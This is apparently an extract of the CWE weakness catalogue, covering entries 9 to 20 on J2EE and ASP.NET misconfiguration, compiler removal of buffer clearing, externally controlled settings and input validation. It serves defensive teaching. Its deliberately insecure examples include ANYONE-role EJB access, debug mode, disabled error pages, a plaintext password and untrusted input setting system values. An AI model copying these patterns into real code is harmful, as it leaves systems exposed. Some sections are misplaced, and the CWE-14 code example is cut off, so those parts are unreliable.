Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

**Description**

**Summary**

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

**Extended Description**

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

Other

Other

**Demonstrative Examples**

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

**XML Example:**

```xml
<ejb-jar>
  ...
  <assembly-descriptor>
    <method-permission>
      <role-name>ANYONE</role-name>
      <method>
        <ejb-name>Employee</ejb-name>
        <method-name>getSalary</method-name>
      </method>
    </method-permission>
  </assembly-descriptor>
  ...
</ejb-jar>
```

**Potential Mitigations**

**Architecture and Design**

**System Configuration**

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700 1</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>4</td>
<td>J2EE Environment Issues</td>
<td>699 2</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000 1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-10: ASP.NET Environment Issues

**Nature** | **Type** | **ID** | **Name** | **Page**
---|---|---|---|---
ChildOf | C | 4 | J2EE Environment Issues | 699 | 2
ChildOf | B | 266 | Incorrect Privilege Assignment | 1000 | 472
ChildOf | C | 723 | OWASP Top Ten 2004 Category A2 - Broken Access Control | 711 | 1119
ChildOf | C | 901 | SFP Primary Cluster: Privilege | 888 | 1332

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>J2EE Misconfiguration: Weak Access Permissions</td>
</tr>
</tbody>
</table>

## CWE-10: ASP.NET Environment Issues

**Category ID:** 10 (Category)  
**Status:** Incomplete

### Description

#### Summary

ASP.NET framework/language related environment issues with security implications.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>519</td>
<td>.NET Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>731</td>
<td>OWASP Top Ten 2004 Category A10 - Insecure Configuration Management</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>W</td>
<td>11</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>W</td>
<td>12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>W</td>
<td>13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>W</td>
<td>554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>W</td>
<td>556</td>
<td>ASP.NET Misconfiguration: Use of Identity Impersonation</td>
<td>699</td>
</tr>
</tbody>
</table>

### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A10</td>
<td>CWE More Specific</td>
<td>Insecure Configuration Management</td>
</tr>
</tbody>
</table>

## CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

**Weakness ID:** 11 (Weakness Variant)  
**Status:** Draft

### Description

#### Summary

Debugging messages help attackers learn about the system and plan a form of attack.

#### Extended Description

ASP.NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

### Time of Introduction

- Implementation
- Operation

### Applicable Platforms

**Languages**

- .NET

### Common Consequences

#### Confidentiality

Read application data

Attacks can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.
Demonstrative Examples
The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

XML Example:

```xml
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <system.web>
        <compilation
defaultLanguage="c#"
debug="true"
/>
    ...
<system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

Potential Mitigations

System Configuration
Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

Background Details
The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700 1</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>10</td>
<td>ASP.NET Environment Issues</td>
<td>699 8</td>
</tr>
<tr>
<td>ChildOf</td>
<td>V</td>
<td>215</td>
<td>Information Exposure Through Debug Information</td>
<td>1000 409</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary</td>
</tr>
</tbody>
</table>

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID: 12 (Weakness Variant) Status: Draft

Description

Summary
An ASP.NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Time of Introduction
- Implementation
- Operation

Applicable Platforms

Languages
- .NET

Common Consequences

Confidentiality
Read application data
Default error pages gives detailed information about the error that occurred, and should not be used in production environments.
Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.
Demonstrative Examples

An insecure ASP.NET application setting:

**ASP.NET Example:**

```xml
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

**ASP.NET Example:**

```xml
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Potential Mitigations

**System Configuration**

**Implementation**

Handle exceptions appropriately in source code. The best practice is to use a custom error message. Make sure that the mode attribute is set to "RemoteOnly" in the web.config file as shown in the following example.

```xml
<customErrors mode="RemoteOnly" />
```

The mode attribute of the `<customErrors>` tag in the Web.config file defines whether custom or default error pages are used. It should be configured to use a custom page as follows:

```xml
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

**Architecture and Design**

Do not attempt to process an error or attempt to mask it.

**Implementation**

Verify return values are correct and do not supply sensitive information about the system.

**System Configuration**

ASP.NET applications should be configured to use custom error pages instead of the framework default page.

Background Details

The mode attribute of the `<customErrors>` tag defines whether custom or default error pages are used.

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>10</td>
<td>ASP.NET Environment Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>756</td>
<td>Missing Custom Error Page</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Handling</td>
</tr>
</tbody>
</table>

References


CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13 (Weakness Variant)  Status: Draft

Description

Summary
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Access Control
- Gain privileges / assume identity

Demonstrative Examples

Example 1:
The following excerpt from an XML configuration file defines a connectionString for connecting to a database.

XML Example:

```xml
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
```

The connectionString is in cleartext, allowing anyone who can read the file access to the database.

Example 2:
The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```xml
...<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Potential Mitigations

Implementation
Credentials stored in configuration files should be encrypted. Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700  1</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>10</td>
<td>ASP.NET Environment Issues</td>
<td>699  8</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>260</td>
<td>Password in Configuration File</td>
<td>1000 464</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888 1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
</tr>
</tbody>
</table>

References
CWE-14: Compiler Removal of Code to Clear Buffers


Weakness ID: 14 (Weakness Base) Status: Draft

Description

Summary
Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description
This compiler optimization error occurs when:
1. Secret data are stored in memory.
2. The secret data are scrubbed from memory by overwriting its contents.
3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Time of Introduction
• Implementation
• Build and Compilation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Confidentiality
Access Control
Read memory
Bypass protection mechanism
This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.

Detection Methods
Black Box
This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box
This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative Examples
The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

C Example:

```c
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
```

Bad Code
CWE-14: Compiler Removal of Code to Clear Buffers

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Potential Mitigations

Implementation
- Store the sensitive data in a "volatile" memory location if available.

Build and Compilation
- If possible, configure your compiler so that it does not remove dead stores.

Architecture and Design
- Where possible, encrypt sensitive data that are used by a software system.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>2</td>
<td>Environment</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Affected Resources
- Memory

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Insecure Compiler Optimization</td>
</tr>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Sensitive memory uncleared by compiler optimization</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A8</td>
<td>CWE More Specific</td>
<td>Insecure Storage</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC06-C</td>
<td></td>
<td>Be aware of compiler optimization when dealing with sensitive data</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC06-C</td>
<td></td>
<td>Be aware of compiler optimization when dealing with sensitive data</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>
CWE-15: External Control of System or Configuration Setting

Weakness ID: 15 (Weakness Base) Status: Incomplete

Description

Summary
One or more system settings or configuration elements can be externally controlled by a user.

Extended Description
Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Time of Introduction
- Implementation

Modes of Introduction
Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.

Common Consequences
- Other
- Varies by context

Demonstrative Examples

Example 1:
The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

C Example:

```c
... 
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:
The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

Java Example:

```java
... 
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

Potential Mitigations

References
Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Implementation

Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Setting Manipulation</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>13</td>
<td>Subverting Environment Variable Values</td>
</tr>
<tr>
<td>69</td>
<td>Target Programs with Elevated Privileges</td>
</tr>
<tr>
<td>76</td>
<td>Manipulating Web Input to File System Calls</td>
</tr>
<tr>
<td>77</td>
<td>Manipulating User-Controlled Variables</td>
</tr>
<tr>
<td>146</td>
<td>XML Schema Poisoning</td>
</tr>
</tbody>
</table>

CWE-16: Configuration

Category ID: 16  (Category)  Status: Draft

Description

Summary

Weaknesses in this category are typically introduced during the configuration of the software.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Rebuild & Compare
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Network Vulnerability Scanner – scan for already-known vulnerabilities for specific products
Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
Web Application Scanner
Web Services Scanner
Database Scanners
Cost effective for partial coverage:
Network Scanner - id (sub)systems & ports. (what systems are there, ports up? Should they be?)

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Configuration Checker
Cost effective for partial coverage:
Origin Analysis

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Cost effective for partial coverage:
Attack Modeling

Relationships
<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>933</td>
<td>OWASP Top Ten 2013 Category A5 - Security Misconfiguration</td>
<td>928 1364</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>4</td>
<td>J2EE Environment Issues</td>
<td>699 2</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>519</td>
<td>.NET Environment Issues</td>
<td>699 863</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635 985</td>
</tr>
</tbody>
</table>
**CWE-17: Code**

**Category ID:** 17 (Category)

**Status:** Draft

**Description**

**Summary**

Weaknesses in this category are typically introduced during code development, including specification, design, and implementation.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
</table>
| ParentOf  | C    | 18 | Source Code                               | 1003 | 17
| MemberOf  | V    | 1003 | Weaknesses for Simplified Mapping of Published Vulnerabilities | 1003 | 1415

**Maintenance Notes**

This entry is a Category, but various sources map to it anyway, e.g. by NVD, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

---

**CWE-18: Source Code**

**Category ID:** 18 (Category)

**Status:** Draft

**Description**

**Summary**

Weaknesses in this category are typically found within source code.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
</table>
| ChildOf   | C    | 17 | Code                                      | 1003 | 17
| ParentOf  | C    | 19 | Data Processing Errors                   | 1003 | 18
| ParentOf  | C    | 254 | Security Features                        | 1003 | 453
| ParentOf  | C    | 361 | Time and State                           | 1003 | 627
| ParentOf  | C    | 388 | Error Handling                           | 1003 | 670
| ParentOf  | C    | 398 | Indicator of Poor Code Quality           | 1003 | 685
| ParentOf  | C    | 417 | Channel and Path Errors                  | 1003 | 723
| ParentOf  | C    | 485 | Insufficient Encapsulation               | 1003 | 820

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Source Code</td>
</tr>
</tbody>
</table>
Maintenance Notes
This entry is being considered for deprecation. It was originally used for organizing the
Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting
tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements
are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-19: Data Processing Errors

Description

Summary
Weaknesses in this category are typically found in functionality that processes data.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>18</td>
<td>Source Code</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>133</td>
<td>String Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>136</td>
<td>Type Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>137</td>
<td>Representation Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>189</td>
<td>Numeric Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>199</td>
<td>Information Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>461</td>
<td>Data Structure Issues</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>699</td>
<td>Development Concepts</td>
<td>699</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>99</td>
<td>XML Parser Attack</td>
</tr>
<tr>
<td>100</td>
<td>Overflow Buffers</td>
</tr>
<tr>
<td>230</td>
<td>XML Nested Payloads</td>
</tr>
<tr>
<td>231</td>
<td>XML Oversized Payloads</td>
</tr>
<tr>
<td>484</td>
<td>XML Client-Side Attack</td>
</tr>
</tbody>
</table>

CWE-20: Improper Input Validation

Description

Summary
The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Extended Description
When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Terminology Notes
The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.
Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Platform Notes**

**Modes of Introduction**
If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

**Common Consequences**

**Availability**
- DoS: crash / exit / restart
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)
  An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.

**Confidentiality**
- Read memory
- Read files or directories
  An attacker could read confidential data if they are able to control resource references.

**Integrity**
- Confidentiality
- Availability
- Modify memory
- Execute unauthorized code or commands
  An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.

**Likelihood of Exploit**
- High

**Detection Methods**

**Automated Static Analysis**
Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

**Manual Static Analysis**
When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.
**Fuzzing**

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Fuzz Tester
  - Framework-based Fuzzer

- Cost effective for partial coverage:
  - Host Application Interface Scanner
